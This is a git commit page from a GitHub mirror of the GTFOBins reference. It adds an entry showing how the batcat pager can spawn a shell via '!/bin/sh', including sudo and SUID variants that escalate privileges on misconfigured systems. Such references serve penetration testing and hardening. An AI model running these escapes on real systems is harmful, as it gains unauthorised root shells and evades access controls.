mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced 2024-11-08 07:49:17 +01:00
Add batcat
Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
This commit is contained in:
parent
95bb7291a4
commit
f4e71b63cb
16
_gtfobins/batcat.md
Normal file
16
_gtfobins/batcat.md
Normal file
@ -0,0 +1,16 @@
|
||||
---
|
||||
description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply. `--paging always` can be omitted provided that the output doesn't fit the screen.
|
||||
functions:
|
||||
shell:
|
||||
- code: |
|
||||
batcat --paging always /etc/profile
|
||||
!/bin/sh
|
||||
suid-limited:
|
||||
- code: |
|
||||
./batcat --paging always /etc/profile
|
||||
!/bin/sh
|
||||
sudo:
|
||||
- code: |
|
||||
sudo batcat --paging always /etc/profile
|
||||
!/bin/sh
|
||||
---
|
Loading…
Reference in New Issue
Block a user